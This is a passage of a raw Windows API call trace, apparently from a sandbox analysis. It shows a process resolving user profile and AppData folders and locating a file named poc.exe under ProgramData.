pbstr=0x28f85c*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", len=0x2e | out: pbstr=0x28f85c*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned 1 [0091.848] SysReAllocStringLen (in: pbstr=0x28f574*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", len=0x2e | out: pbstr=0x28f574*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned 1 [0091.848] SysReAllocStringLen (in: pbstr=0x28f85c*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", len=0x2d | out: pbstr=0x28f85c*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 1 [0091.848] SysReAllocStringLen (in: pbstr=0x28f860*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", len=0x2d | out: pbstr=0x28f860*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 1 [0091.848] SysReAllocStringLen (in: pbstr=0x460620*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", len=0x2e | out: pbstr=0x460620*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned 1 [0091.848] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x460630 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x0 [0091.849] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchLength=0x2b | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local") returned 0x2b [0091.849] SysReAllocStringLen (in: pbstr=0x470638*=0x0, psz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local", len=0x2b | out: pbstr=0x470638*="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local") returned 1 [0091.849] SysReAllocStringLen (in: pbstr=0x47063c*=0x0, psz="c:", len=0x2 | out: pbstr=0x47063c*="c:") returned 1 [0091.850] SysReAllocStringLen (in: pbstr=0x47065c*=0x0, psz="users", len=0x5 | out: pbstr=0x47065c*="users") returned 1 [0091.850] SysReAllocStringLen (in: pbstr=0x47067c*=0x0, psz="5p5nrgjn0js halpmcxz", len=0x14 | out: pbstr=0x47067c*="5p5nrgjn0js halpmcxz") returned 1 [0091.850] SysReAllocStringLen (in: pbstr=0x470688*=0x0, psz="appdata", len=0x7 | out: pbstr=0x470688*="appdata") returned 1 [0091.850] SysReAllocStringLen (in: pbstr=0x470694*=0x0, psz="local", len=0x5 | out: pbstr=0x470694*="local") returned 1 [0091.850] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="users", cchWideChar=5, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="userså(", lpUsedDefaultChar=0x0) returned 5 [0091.850] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="5p5nrgjn0js halpmcxz", cchWideChar=20, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5p5nrgjn0js halpmcxz", lpUsedDefaultChar=0x0) returned 20 [0091.850] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="appdata", cchWideChar=7, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appdatan0js halpmcxz", lpUsedDefaultChar=0x0) returned 7 [0091.850] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="local", cchWideChar=5, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="localtan0js halpmcxz", lpUsedDefaultChar=0x0) returned 5 [0091.851] SysReAllocStringLen (in: pbstr=0x28f58c*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f58c*="c:") returned 1 [0091.851] SysReAllocStringLen (in: pbstr=0x28f850*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f850*="c:\\") returned 1 [0091.851] SysReAllocStringLen (in: pbstr=0x28f584*=0x0, psz="users", len=0x5 | out: pbstr=0x28f584*="users") returned 1 [0091.851] FindFirstFileW (in: lpFileName="c:\\users", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x75c1d0 [0091.851] FindNextFileW (in: hFindFile=0x75c1d0, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0 [0091.851] GetLastError () returned 0x12 [0091.851] FindClose (in: hFindFile=0x75c1d0 | out: hFindFile=0x75c1d0) returned 1 [0091.851] SysReAllocStringLen (in: pbstr=0x28f578*=0x0, psz="c:\\Users", len=0x8 | out: pbstr=0x28f578*="c:\\Users") returned 1 [0091.852] SysReAllocStringLen (in: pbstr=0x28f850*="c:\\Users", psz="c:\\Users\\", len=0x9 | out: pbstr=0x28f850*="c:\\Users\\") returned 1 [0091.852] SysReAllocStringLen (in: pbstr=0x28f584*="users", psz="5p5nrgjn0js halpmcxz", len=0x14 | out: pbstr=0x28f584*="5p5nrgjn0js halpmcxz") returned 1 [0091.852] FindFirstFileW (in: lpFileName="c:\\Users\\5p5nrgjn0js halpmcxz", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x75c1d0 [0091.852] FindNextFileW (in: hFindFile=0x75c1d0, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0 [0091.852] GetLastError () returned 0x12 [0091.852] FindClose (in: hFindFile=0x75c1d0 | out: hFindFile=0x75c1d0) returned 1 [0091.852] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz", len=0x1d | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz") returned 1 [0091.852] SysReAllocStringLen (in: pbstr=0x28f850*="c:\\Users\\5p5NrGJn0jS HALPmcxz", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\", len=0x1e | out: pbstr=0x28f850*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 1 [0091.852] SysReAllocStringLen (in: pbstr=0x28f584*="5p5nrgjn0js halpmcxz", psz="appdata", len=0x7 | out: pbstr=0x28f584*="appdata") returned 1 [0091.852] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\appdata", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 0x75c228 [0091.852] FindNextFileW (in: hFindFile=0x75c228, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 0 [0091.852] GetLastError () returned 0x12 [0091.852] FindClose (in: hFindFile=0x75c228 | out: hFindFile=0x75c228) returned 1 [0091.853] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", len=0x25 | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData") returned 1 [0091.853] SysReAllocStringLen (in: pbstr=0x28f850*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\", len=0x26 | out: pbstr=0x28f850*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned 1 [0091.853] SysReAllocStringLen (in: pbstr=0x28f584*="appdata", psz="local", len=0x5 | out: pbstr=0x28f584*="local") returned 1 [0091.853] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\local", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 0x75c228 [0091.853] FindNextFileW (in: hFindFile=0x75c228, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 0 [0091.853] GetLastError () returned 0x12 [0091.853] FindClose (in: hFindFile=0x75c228 | out: hFindFile=0x75c228) returned 1 [0091.853] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", len=0x2b | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 1 [0091.853] SysReAllocStringLen (in: pbstr=0x28f850*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\", len=0x2c | out: pbstr=0x28f850*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\") returned 1 [0091.854] SysReAllocStringLen (in: pbstr=0x28f574*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\", len=0x2c | out: pbstr=0x28f574*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\") returned 1 [0091.854] SysReAllocStringLen (in: pbstr=0x28f850*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", len=0x2b | out: pbstr=0x28f850*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 1 [0091.854] SysReAllocStringLen (in: pbstr=0x28f854*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", len=0x2b | out: pbstr=0x28f854*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 1 [0091.854] SysReAllocStringLen (in: pbstr=0x460624*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\", len=0x2c | out: pbstr=0x460624*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\") returned 1 [0091.854] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x460630 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0091.855] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz", cchLength=0x1d | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz") returned 0x1d [0091.855] SysReAllocStringLen (in: pbstr=0x470638*=0x0, psz="c:\\users\\5p5nrgjn0js halpmcxz", len=0x1d | out: pbstr=0x470638*="c:\\users\\5p5nrgjn0js halpmcxz") returned 1 [0091.856] SysReAllocStringLen (in: pbstr=0x47063c*=0x0, psz="c:", len=0x2 | out: pbstr=0x47063c*="c:") returned 1 [0091.856] SysReAllocStringLen (in: pbstr=0x47065c*=0x0, psz="users", len=0x5 | out: pbstr=0x47065c*="users") returned 1 [0091.856] SysReAllocStringLen (in: pbstr=0x47067c*=0x0, psz="5p5nrgjn0js halpmcxz", len=0x14 | out: pbstr=0x47067c*="5p5nrgjn0js halpmcxz") returned 1 [0091.856] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="users", cchWideChar=5, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="userstan0js halpmcxz", lpUsedDefaultChar=0x0) returned 5 [0091.856] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="5p5nrgjn0js halpmcxz", cchWideChar=20, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5p5nrgjn0js halpmcxz", lpUsedDefaultChar=0x0) returned 20 [0091.856] SysReAllocStringLen (in: pbstr=0x28f58c*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f58c*="c:") returned 1 [0091.856] SysReAllocStringLen (in: pbstr=0x28f844*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f844*="c:\\") returned 1 [0091.856] SysReAllocStringLen (in: pbstr=0x28f584*=0x0, psz="users", len=0x5 | out: pbstr=0x28f584*="users") returned 1 [0091.856] FindFirstFileW (in: lpFileName="c:\\users", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x75c1d0 [0091.857] FindNextFileW (in: hFindFile=0x75c1d0, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0 [0091.857] GetLastError () returned 0x12 [0091.857] FindClose (in: hFindFile=0x75c1d0 | out: hFindFile=0x75c1d0) returned 1 [0091.857] SysReAllocStringLen (in: pbstr=0x28f578*=0x0, psz="c:\\Users", len=0x8 | out: pbstr=0x28f578*="c:\\Users") returned 1 [0091.857] SysReAllocStringLen (in: pbstr=0x28f844*="c:\\Users", psz="c:\\Users\\", len=0x9 | out: pbstr=0x28f844*="c:\\Users\\") returned 1 [0091.857] SysReAllocStringLen (in: pbstr=0x28f584*="users", psz="5p5nrgjn0js halpmcxz", len=0x14 | out: pbstr=0x28f584*="5p5nrgjn0js halpmcxz") returned 1 [0091.857] FindFirstFileW (in: lpFileName="c:\\Users\\5p5nrgjn0js halpmcxz", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x75c1d0 [0091.857] FindNextFileW (in: hFindFile=0x75c1d0, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0 [0091.857] GetLastError () returned 0x12 [0091.857] FindClose (in: hFindFile=0x75c1d0 | out: hFindFile=0x75c1d0) returned 1 [0091.858] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz", len=0x1d | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz") returned 1 [0091.858] SysReAllocStringLen (in: pbstr=0x28f844*="c:\\Users\\5p5NrGJn0jS HALPmcxz", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\", len=0x1e | out: pbstr=0x28f844*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 1 [0091.858] SysReAllocStringLen (in: pbstr=0x28f574*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\", len=0x1e | out: pbstr=0x28f574*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 1 [0091.859] SysReAllocStringLen (in: pbstr=0x28f844*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz", len=0x1d | out: pbstr=0x28f844*="c:\\Users\\5p5NrGJn0jS HALPmcxz") returned 1 [0091.859] SysReAllocStringLen (in: pbstr=0x28f848*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz", len=0x1d | out: pbstr=0x28f848*="c:\\Users\\5p5NrGJn0jS HALPmcxz") returned 1 [0091.859] SysReAllocStringLen (in: pbstr=0x460628*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\", len=0x1e | out: pbstr=0x460628*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 1 [0091.859] VirtualFree (lpAddress=0x464000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0091.861] SysReAllocStringLen (in: pbstr=0x460634*=0x0, psz="c:\\ProgramData\\poc.exe", len=0x16 | out: pbstr=0x460634*="c:\\ProgramData\\poc.exe") returned 1 [0091.861] CharLowerBuffW (in: lpsz="c:\\ProgramData\\poc.exe", cchLength=0x16 | out: lpsz="c:\\programdata\\poc.exe") returned 0x16 [0091.861] SysReAllocStringLen (in: pbstr=0x4606ac*=0x0, psz="c:\\programdata\\poc.exe", len=0x16 | out: pbstr=0x4606ac*="c:\\programdata\\poc.exe") returned 1 [0091.861] SysReAllocStringLen (in: pbstr=0x4606b0*=0x0, psz="c:", len=0x2 | out: pbstr=0x4606b0*="c:") returned 1 [0091.861] SysReAllocStringLen (in: pbstr=0x4606d0*=0x0, psz="programdata", len=0xb | out: pbstr=0x4606d0*="programdata") returned 1 [0091.861] SysReAllocStringLen (in: pbstr=0x4606f0*=0x0, psz="poc.exe", len=0x7 | out: pbstr=0x4606f0*="poc.exe") returned 1 [0091.861] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e5b8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdata", lpUsedDefaultChar=0x0) returned 11 [0091.861] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="poc.exe", cchWideChar=7, lpMultiByteStr=0x28e5b8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="poc.exedata", lpUsedDefaultChar=0x0) returned 7 [0091.862] SysReAllocStringLen (in: pbstr=0x28f64c*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f64c*="c:") returned 1 [0091.862] SysReAllocStringLen (in: pbstr=0x28f904*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f904*="c:\\") returned 1 [0091.862] SysReAllocStringLen (in: pbstr=0x28f644*=0x0, psz="programdata", len=0xb | out: pbstr=0x28f644*="programdata") returned 1 [0091.862] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28f670 | out: lpFindFileData=0x28f670*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x758e00 [0091.862] FindNextFileW (in: hFindFile=0x758e00, lpFindFileData=0x28f670 | out: lpFindFileData=0x28f670*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0091.862] GetLastError () returned 0x12 [0091.862] FindClose (in: hFindFile=0x758e00 | out: hFindFile=0x758e00) returned 1 [0091.862] SysReAllocStringLen (in: pbstr=0x28f638*=0x0, psz="c:\\ProgramData", len=0xe | out: pbstr=0x28f638*="c:\\ProgramData") returned 1 [0091.862] SysReAllocStringLen (in: pbstr=0x28f904*="c:\\ProgramData", psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x28f904*="c:\\ProgramData\\") returned 1 [0091.862] SysReAllocStringLen (in: pbstr=0x28f644*="programdata", psz="poc.exe", len=0x7 | out: pbstr=0x28f644*="poc.exe") returned 1 [0091.862] FindFirstFileW (in: lpFileName="c:\\ProgramData\\poc.exe", lpFindFileData=0x28f670 | out: lpFindFileData=0x28f670*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x78a55620, ftCreationTime.dwHighDateTime=0x1d5ca1f, ftLastAccessTime.dwLowDateTime=0x78a55620, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x78cdcd80, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x1d5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="poc.exe", cAlternateFileName="")) returned 0x758e00 [0091.863] FileTimeToLocalFileTime (in: lpFileTime=0x28f684, lpLocalFileTime=0x28f5f0 | out: lpLocalFileTime=0x28f5f0) returned 1 [0091.863] FileTimeToDosDateTime (in: lpFileTime=0x28f5f0, lpFatDate=0x28f652, lpFatTime=0x28f650 | out: lpFatDate=0x28f652, lpFatTime=0x28f650) returned 1 [0091.863] FindClose (in: hFindFile=0x758e00 | out: hFindFile=0x758e00) returned 1 [0091.863] SysReAllocStringLen (in: pbstr=0x28f638*="c:\\ProgramData\\", psz="c:\\ProgramData\\poc.exe", len=0x16 | out: pbstr=0x28f638*="c:\\ProgramData\\poc.exe") returned 1 [0091.863] SysReAllocStringLen (in: pbstr=0x28f904*="c:\\ProgramData\\poc.exe", psz="c:\\ProgramData\\poc.exe\\", len=0x17 | out: pbstr=0x28f904*="c:\\ProgramData\\poc.exe\\") returned 1 [0091.863] SysReAllocStringLen (in: pbstr=0x28f634*=0x0, psz="c:\\ProgramData\\poc.exe\\", len=0x17 | out: pbstr=0x28f634*="c:\\ProgramData\\poc.exe\\") returned 1 [0091.863] SysReAllocStringLen (in: pbstr=0x28f904*="c:\\ProgramData\\poc.exe\\", psz="c:\\ProgramData\\poc.exe", len=0x16 | out: pbstr=0x28f904*="c:\\ProgramData\\poc.exe") returned 1 [0091.864] SysReAllocStringLen (in: pbstr=0x28f8bc*=0x0, psz="c:\\ProgramData\\poc.exe", len=0x16 | out: pbstr=0x28f8bc*="c:\\ProgramData\\poc.exe") returned 1 [0091.864] VirtualAlloc (lpAddress=0x464000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x464000 [0091.864] CharLowerBuffW (in: lpsz="c:\\ProgramData\\poc.exe", cchLength=0x16 | out: lpsz="c:\\programdata\\poc.exe") returned 0x16 [0091.864] SysReAllocStringLen (in: pbstr=0x4706b0*=0x0, psz="c:\\programdata\\poc.exe", len=0x16 | out: pbstr=0x4706b0*="c:\\programdata\\poc.exe") returned 1 [0091.864] SysReAllocStringLen (in: pbstr=0x4706b4*=0x0, psz="c:", len=0x2 | out: pbstr=0x4706b4*="c:") returned 1 [0091.865] SysReAllocStringLen (in: pbstr=0x4706d4*=0x0, psz="programdata", len=0xb | out: pbstr=0x4706d4*="programdata") returned 1 [0091.865] SysReAllocStringLen (in: pbstr=0x4706f4*=0x0, psz="poc.exe", len=0x7 | out: pbstr=0x4706f4*="poc.exe") returned 1 [0091.865] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e828, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdata", lpUsedDefaultChar=0x0) returned 11 [0091.865] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="poc.exe", cchWideChar=7, lpMultiByteStr=0x28e828, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="poc.exedata", lpUsedDefaultChar=0x0) returned 7 [0091.865] VirtualFree (lpAddress=0x474000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0091.865] SysReAllocStringLen (in: pbstr=0x28f8b0*=0x0, psz="programdata", len=0xb | out: pbstr=0x28f8b0*="programdata") returned 1 [0091.865] SysReAllocStringLen (in: pbstr=0x28f8b4*=0x0, psz="programdata", len=0xb | out: pbstr=0x28f8b4*="programdata") returned 1 [0091.865] SysReAllocStringLen (in: pbstr=0x28f8b0*="programdata", psz="poc.exe", len=0x7 | out: pbstr=0x28f8b0*="poc.exe") returned 1 [0091.866] 